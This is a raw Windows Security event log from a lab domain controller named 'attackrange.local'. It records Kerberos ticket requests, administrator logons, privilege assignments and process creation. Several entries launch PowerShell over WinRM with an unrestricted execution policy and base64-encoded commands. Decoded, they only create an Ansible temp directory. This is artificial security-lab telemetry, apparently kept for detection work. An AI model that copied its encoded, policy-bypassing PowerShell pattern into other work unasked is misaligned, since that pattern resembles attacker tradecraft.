Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252519 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xedc - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252571 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1350 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADYAMAAxAC4AMQAyADAAMwA1ADIALQA0ADYAOQA3ADQAMwAwADEAOAA5ADQANgA1ADEAJwAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHQAbQBwAC4ARgB1AGwAbABOAGEAbQBlAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252570 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x169088 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252569 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x169088 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252568 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252567 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252566 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252565 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1350 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAE0AdwBBADEAQQBEAEkAQQBMAFEAQQAwAEEARABZAEEATwBRAEEAMwBBAEQAUQBBAE0AdwBBAHcAQQBEAEUAQQBPAEEAQQA1AEEARABRAEEATgBnAEEAMQBBAEQARQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252564 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x134c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAE0AdwBBADEAQQBEAEkAQQBMAFEAQQAwAEEARABZAEEATwBRAEEAMwBBAEQAUQBBAE0AdwBBAHcAQQBEAEUAQQBPAEEAQQA1AEEARABRAEEATgBnAEEAMQBBAEQARQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252563 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168EAE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252562 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168EAE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252561 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252560 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6514362E-35C3-3044-1714-2D5A06843DFD} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252559 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252558 -Keywords=Audit Success 